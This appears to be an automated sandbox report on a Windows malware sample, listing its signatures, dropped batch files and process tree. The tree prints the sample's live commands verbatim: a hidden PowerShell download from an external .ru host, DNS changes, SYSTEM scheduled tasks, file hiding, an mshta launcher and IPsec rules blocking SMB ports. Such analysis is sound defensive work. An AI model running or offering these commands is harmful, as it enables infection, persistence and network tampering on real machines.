Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/05/2024, 02:56

General

  • Target
    741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
  • Size 257KB
  • Sample240526-dffwssdb75
  • SHA256 28e1b6cf6980b009867b8919f68f41203e6796e1f95c3f82c17cf1c5d8ac5b68
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://down.ctosus.ru/wget.exe

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Sets file to hidden 1 TTPs 6 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in Windows directory 29 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:4332
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Windows\debug\SYSTEM\start.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4340
      • C:\Windows\SysWOW64\netsh.exe
        netsh interface ip set dns ▒╛╡╪┴¼╜╙ static 114.114.114.114
        3⤵
          PID:3056
        • C:\Windows\SysWOW64\netsh.exe
          netsh interface ip set dns ▒╛╡╪┴¼╜╙1 static 114.114.114.114
          3⤵
            PID:4876
          • C:\Windows\SysWOW64\netsh.exe
            netsh interface ip set dns ▒╛╡╪┴¼╜╙2 static 114.114.114.114
            3⤵
              PID:1800
            • C:\Windows\SysWOW64\netsh.exe
              netsh interface ip set dns ▒╛╡╪┴¼╜╙3 static 114.114.114.114
              3⤵
                PID:3552
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill -f /im svshost.exe
                3⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1384
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill -f /im svshosb.exe
                3⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1556
              • C:\Windows\SysWOW64\attrib.exe
                attrib -S -H C:\ProgramData\Microsoft\test\*
                3⤵
                • Views/modifies file attributes
                PID:4544
              • C:\Windows\SysWOW64\attrib.exe
                attrib -S -H C:\Windows\debug\SYSTEM\*
                3⤵
                • Drops file in Windows directory
                • Views/modifies file attributes
                PID:3924
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /F /create /ru system /sc HOURLY /mo 12 /tn SYSTEM /tr C:\ProgramData\Microsoft\test\down.bat
                3⤵
                • Creates scheduled task(s)
                PID:1676
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /F /create /ru system /sc HOURLY /mo 1 /tn DNS /tr C:\ProgramData\Microsoft\test\open.bat
                3⤵
                • Creates scheduled task(s)
                PID:2384
              • C:\Windows\SysWOW64\attrib.exe
                attrib +S +H C:\ProgramData\Microsoft\test
                3⤵
                • Sets file to hidden
                • Views/modifies file attributes
                PID:4852
              • C:\Windows\SysWOW64\attrib.exe
                attrib +S +H C:\ProgramData\Microsoft\test\*
                3⤵
                • Sets file to hidden
                • Views/modifies file attributes
                PID:3036
              • C:\Windows\SysWOW64\attrib.exe
                attrib +S +H C:\Windows\Tasks\hook
                3⤵
                • Sets file to hidden
                • Drops file in Windows directory
                • Views/modifies file attributes
                PID:932
              • C:\Windows\SysWOW64\attrib.exe
                attrib +S +H C:\ProgramData\Microsoft\test\down.bat
                3⤵
                • Sets file to hidden
                • Views/modifies file attributes
                PID:3872
              • C:\Windows\SysWOW64\attrib.exe
                attrib +S +H C:\ProgramData\Microsoft\test\open.bat
                3⤵
                • Sets file to hidden
                • Views/modifies file attributes
                PID:4400
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://down.ctosus.ru/wget.exe','wget.exe');
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Drops file in Windows directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4348
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /K start2.bat
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1004
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +S +H C:\Windows\debug\SYSTEM
                  4⤵
                  • Sets file to hidden
                  • Drops file in Windows directory
                  • Views/modifies file attributes
                  PID:4668
                • C:\Windows\SysWOW64\mshta.exe
                  mshta vbscript:createobject("wscript.shell").run("""install3.bat"" h",0)(window.close)
                  4⤵
                  • Checks computer location settings
                  • Suspicious use of WriteProcessMemory
                  PID:2364
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Windows\debug\SYSTEM\install3.bat" h"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4824
                    • C:\Windows\SysWOW64\sc.exe
                      SC QUERY ipserces
                      6⤵
                      • Launches sc.exe
                      PID:4380
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add policy name=win
                      6⤵
                        PID:1416
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filterlist name=Allowlist
                        6⤵
                          PID:2972
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add filterlist name=denylist
                          6⤵
                            PID:4300
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135
                            6⤵
                              PID:2260
                            • C:\Windows\SysWOW64\netsh.exe
                              netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137
                              6⤵
                                PID:4440
                              • C:\Windows\SysWOW64\netsh.exe
                                netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138
                                6⤵
                                  PID:4112
                                • C:\Windows\SysWOW64\netsh.exe
                                  netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139
                                  6⤵
                                    PID:4876
                                  • C:\Windows\SysWOW64\netsh.exe
                                    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445
                                    6⤵
                                      PID:3712
                                    • C:\Windows\SysWOW64\netsh.exe
                                      netsh ipsec static add filteraction name=Allow action=permit
                                      6⤵
                                        PID:1260
                                      • C:\Windows\SysWOW64\netsh.exe
                                        netsh ipsec static add filteraction name=deny action=block
                                        6⤵
                                          PID:3052
                                        • C:\Windows\SysWOW64\netsh.exe
                                          netsh ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny
                                          6⤵
                                            PID:3920
                                          • C:\Windows\SysWOW64\netsh.exe
                                            netsh ipsec static set policy name=win assign=y
                                            6⤵
                                              PID:2984

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        __PSScriptPolicyTest_qeoel03w.0dc.ps1

                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qeoel03w.0dc.ps1
                                        • Size 60B
                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                        • MD5 SHA1 SHA512

                                        down.bat

                                        • Path C:\Windows\debug\SYSTEM\down.bat
                                        • Size 1KB
                                        • SHA256 0878c3fa76769414b9ea961fc57fea63df7994080114bfe5d0e4980dd741d522
                                        • MD5 SHA1 SHA512

                                        hosts

                                        • Path C:\Windows\debug\SYSTEM\hosts
                                        • Size 1KB
                                        • SHA256 bea588292363bdaddd7964235da7fce900bcf83febee041909b8bae59bdf0490
                                        • MD5 SHA1 SHA512

                                        install3.bat

                                        • Path C:\Windows\debug\SYSTEM\install3.bat
                                        • Size 1KB
                                        • SHA256 48cf7b45778212319ec4725b33c61478020625d87b89420e74739505f6178570
                                        • MD5 SHA1 SHA512

                                        open.bat

                                        • Path C:\Windows\debug\SYSTEM\open.bat
                                        • Size 699B
                                        • SHA256 2f9e7abc4583e6214de3a7b2834f6e47cd84d472eb7404d5ee31248e42d0c04d
                                        • MD5 SHA1 SHA512

                                        qc.bat

                                        • Path C:\Windows\debug\SYSTEM\qc.bat
                                        • Size 1KB
                                        • SHA256 976a4ee812dd888062b32f1a17177ce501ab918b9d9189c8cb9ced13161772b9
                                        • MD5 SHA1 SHA512

                                        settings

                                        • Path C:\Windows\debug\SYSTEM\settings
                                        • Size 479B
                                        • SHA256 1453103c177734f5e9387e4930559df050ea5049dadba447b344c5d94661a524
                                        • MD5 SHA1 SHA512

                                        start.bat

                                        • Path C:\Windows\debug\SYSTEM\start.bat
                                        • Size 1KB
                                        • SHA256 c6b7fba230db87296373b01eaf3b3f0c026985ff22ce0eaa3e4b8ed65086b3f2
                                        • MD5 SHA1 SHA512

                                        start2.bat

                                        • Path C:\Windows\debug\SYSTEM\start2.bat
                                        • Size 605B
                                        • SHA256 47c6c38e8edb6e37fdc9d920bcd847da3bb7c51facda3a04eaff30b78177d316
                                        • MD5 SHA1 SHA512

                                        memory/4348-35-0x0000000004E20000-0x0000000004E56000-memory.dmp

                                        memory/4348-37-0x0000000005B30000-0x0000000005B52000-memory.dmp

                                        memory/4348-38-0x0000000005CD0000-0x0000000005D36000-memory.dmp

                                        memory/4348-39-0x0000000005D40000-0x0000000005DA6000-memory.dmp

                                        memory/4348-36-0x0000000005490000-0x0000000005AB8000-memory.dmp

                                        memory/4348-49-0x0000000005DB0000-0x0000000006104000-memory.dmp

                                        memory/4348-50-0x00000000063B0000-0x00000000063CE000-memory.dmp

                                        memory/4348-51-0x00000000063F0000-0x000000000643C000-memory.dmp

                                        memory/4348-52-0x0000000007A00000-0x000000000807A000-memory.dmp

                                        memory/4348-53-0x0000000006890000-0x00000000068AA000-memory.dmp